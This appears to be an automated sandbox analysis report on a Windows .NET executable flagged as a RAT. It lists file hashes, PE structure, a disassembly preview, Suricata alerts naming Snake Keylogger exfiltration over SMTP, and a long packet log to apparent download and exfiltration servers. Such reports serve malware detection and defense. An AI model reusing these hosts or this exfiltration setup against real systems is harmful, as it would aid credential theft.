SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.970686628272919
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
File size:	516'096 bytes
MD5:	967175d3aa79388fd8e84ccbf0b998c7
SHA1:	9bb041c883354d306a22ea0faf9c8deecd9f14c0
SHA256:	4607e74d7d23628239d2bdfc8d57236c09778517f758323e13fc9ca4092c07a7
SHA512:	e9d65b50fd28f0fc13c88c7d515906f32e29b6a545f0b5ad2bf0d16a83f7bc619d698cd6ae5e294f1a419d3dc5928cc86176b551578d665dda8fcb451f16003b
SSDEEP:	12288:KrHa5vF0t2/Vdh44WHdaZOyWtLLH4PgRuHTJnrwY:Ka37dd7sdaZdITRATJnrw
TLSH:	14B4230A2BC3D729DBF94BB50694844467F8B024B0B5EFAC5DE881DE0E9A7C18D721D7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...rF.f..............0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x47f5be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A34672 [Fri Jul 26 06:47:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7f56a	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0x5ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x82000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7dbf4	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7d5c4	0x7d600	b234b1b01e7e5a0d783e46e95dac8a33	False	0.9708511185194417	data	7.977489549607041	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x80000	0x5ac	0x600	2c12f40f05cdc19db2479e3f25077cbc	False	0.4205729166666667	data	4.079124777457321	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x82000	0xc	0x200	ee72df9019bfd262c46bb70a0ca3b872	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x80090	0x31c	data			0.43467336683417085
RT_MANIFEST	0x803bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T11:39:04.892508+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49706	80	192.168.2.5	158.101.44.242
2024-07-26T11:39:07.660193+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49713	443	192.168.2.5	188.114.97.3
2024-07-26T11:39:11.471883+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49719	443	192.168.2.5	188.114.97.3
2024-07-26T11:39:45.208289+0200	TCP	2044767	ET MALWARE Snake Keylogger Exfil via SMTP	49734	587	192.168.2.5	77.245.159.7
2024-07-26T11:39:06.402996+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49711	443	192.168.2.5	188.114.97.3
2024-07-26T11:39:17.988539+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49724	20.12.23.50	192.168.2.5
2024-07-26T11:39:35.846618+0200	TCP	2044767	ET MALWARE Snake Keylogger Exfil via SMTP	49731	587	192.168.2.5	77.245.159.7
2024-07-26T11:39:05.782404+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49706	80	192.168.2.5	158.101.44.242
2024-07-26T11:39:38.805311+0200	TCP	2044767	ET MALWARE Snake Keylogger Exfil via SMTP	49732	587	192.168.2.5	77.245.159.7
2024-07-26T11:38:56.204357+0200	TCP	2044767	ET MALWARE Snake Keylogger Exfil via SMTP	49730	587	192.168.2.5	77.245.159.7
2024-07-26T11:39:08.938329+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49715	443	192.168.2.5	188.114.97.3
2024-07-26T11:39:07.032437+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49712	80	192.168.2.5	158.101.44.242
2024-07-26T11:39:55.942378+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49736	20.12.23.50	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 11:38:59.504123926 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:38:59.509206057 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:38:59.509282112 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:38:59.511497021 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:38:59.516836882 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:01.480242014 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:01.486656904 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:01.491547108 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:04.847099066 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:04.887263060 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:04.887305021 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:04.890470982 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:04.892508030 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:04.896044016 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:04.896064997 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.382685900 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.382807016 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.389226913 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.389234066 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.389481068 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.438653946 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.439707994 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.480514050 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.550143957 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.550228119 CEST	443	49710	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.550298929 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.556344032 CEST	49710	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.559277058 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:05.564239025 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:05.731045961 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:05.733449936 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.733546019 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.733638048 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.734004021 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:05.734035015 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:05.782403946 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.258131981 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:06.261246920 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.261274099 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:06.402828932 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:06.402888060 CEST	443	49711	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:06.402965069 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.403424978 CEST	49711	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.407903910 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.408332109 CEST	49712	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.413151026 CEST	80	49712	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:06.413233042 CEST	49712	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.413347006 CEST	49712	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.413584948 CEST	80	49706	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:06.416022062 CEST	49706	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:06.418185949 CEST	80	49712	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:06.989404917 CEST	80	49712	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:06.997026920 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.997078896 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:06.997895956 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.998126984 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:06.998143911 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:07.032437086 CEST	49712	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:07.508771896 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:07.510747910 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:07.510831118 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:07.660165071 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:07.660228014 CEST	443	49713	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:07.660295010 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:07.660988092 CEST	49713	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:07.685070038 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:07.690812111 CEST	80	49714	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:07.690897942 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:07.690953970 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:07.697208881 CEST	80	49714	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:08.324615955 CEST	80	49714	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:08.326114893 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.326148987 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.326350927 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.326608896 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.326621056 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.376194000 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.811335087 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.812900066 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.812941074 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.938364029 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.938572884 CEST	443	49715	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:08.938725948 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.938939095 CEST	49715	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:08.941608906 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.942508936 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.947098970 CEST	80	49714	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:08.947160006 CEST	49714	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.947259903 CEST	80	49716	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:08.947310925 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.947376013 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:08.952137947 CEST	80	49716	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:09.533092022 CEST	80	49716	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:09.534358025 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:09.534389019 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:09.534473896 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:09.534775019 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:09.534785986 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:09.579385042 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.039746046 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.042064905 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.042098999 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.175286055 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.175393105 CEST	443	49717	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.175445080 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.175807953 CEST	49717	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.178982019 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.180231094 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.185339928 CEST	80	49716	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:10.185355902 CEST	80	49718	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:10.185606956 CEST	49716	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.185619116 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.185650110 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:10.190747023 CEST	80	49718	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:10.778944969 CEST	80	49718	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:10.780145884 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.780237913 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.780325890 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.780567884 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:10.780602932 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:10.829504013 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.317209005 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:11.319113016 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:11.319188118 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:11.471843958 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:11.471946001 CEST	443	49719	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:11.472151995 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:11.475883007 CEST	49719	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:11.479039907 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.480336905 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.484880924 CEST	80	49718	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:11.484963894 CEST	49718	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.485174894 CEST	80	49720	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:11.485250950 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.485342979 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:11.490305901 CEST	80	49720	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:12.280565977 CEST	80	49720	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:12.281582117 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.281668901 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.281888008 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.282013893 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.282036066 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.301397085 CEST	80	49720	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:12.301562071 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.763369083 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.765331030 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.765381098 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.906917095 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.907145977 CEST	443	49721	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:12.907311916 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.907661915 CEST	49721	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:12.910885096 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.911915064 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.917046070 CEST	80	49720	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:12.917120934 CEST	49720	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.917367935 CEST	80	49722	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:12.917574883 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.917669058 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:12.922492981 CEST	80	49722	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:13.480638027 CEST	80	49722	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:13.482032061 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:13.482125044 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:13.482284069 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:13.482513905 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:13.482549906 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:13.532541037 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:13.984962940 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:13.987092972 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:13.987174988 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:14.121973038 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:14.122095108 CEST	443	49723	188.114.97.3	192.168.2.5
Jul 26, 2024 11:39:14.122273922 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:14.122596025 CEST	49723	443	192.168.2.5	188.114.97.3
Jul 26, 2024 11:39:20.245672941 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:20.397511005 CEST	80	49722	158.101.44.242	192.168.2.5
Jul 26, 2024 11:39:20.397598982 CEST	49722	80	192.168.2.5	158.101.44.242
Jul 26, 2024 11:39:20.590868950 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:20.604700089 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:20.604785919 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:21.493563890 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:21.493731976 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:21.498662949 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:21.728148937 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:21.730078936 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:21.735225916 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:21.964288950 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:21.964698076 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:21.970098019 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.267419100 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.267713070 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.272617102 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.501398087 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.502785921 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.507781029 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.739942074 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.740250111 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.745528936 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.974374056 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.975143909 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.975239038 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.975271940 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.975301981 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:22.980184078 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.980226040 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.980535984 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:22.980668068 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:23.389702082 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:23.438796997 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:32.611268044 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:32.616379976 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.046582937 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.046659946 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.046875954 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.047022104 CEST	49730	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.048312902 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.051847935 CEST	587	49730	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.053273916 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.053354025 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.713608980 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.713798046 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.718795061 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.950326920 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:33.950932980 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:33.956379890 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.187680006 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.187983036 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:34.193229914 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.439315081 CEST	587	49731	77.245.159.7	192.168.2.5
Jul 26, 2024 11:39:34.439483881 CEST	49731	587	192.168.2.5	77.245.159.7
Jul 26, 2024 11:39:34.444466114 CEST	587	49731	77.245.159.7	192.168.2.5
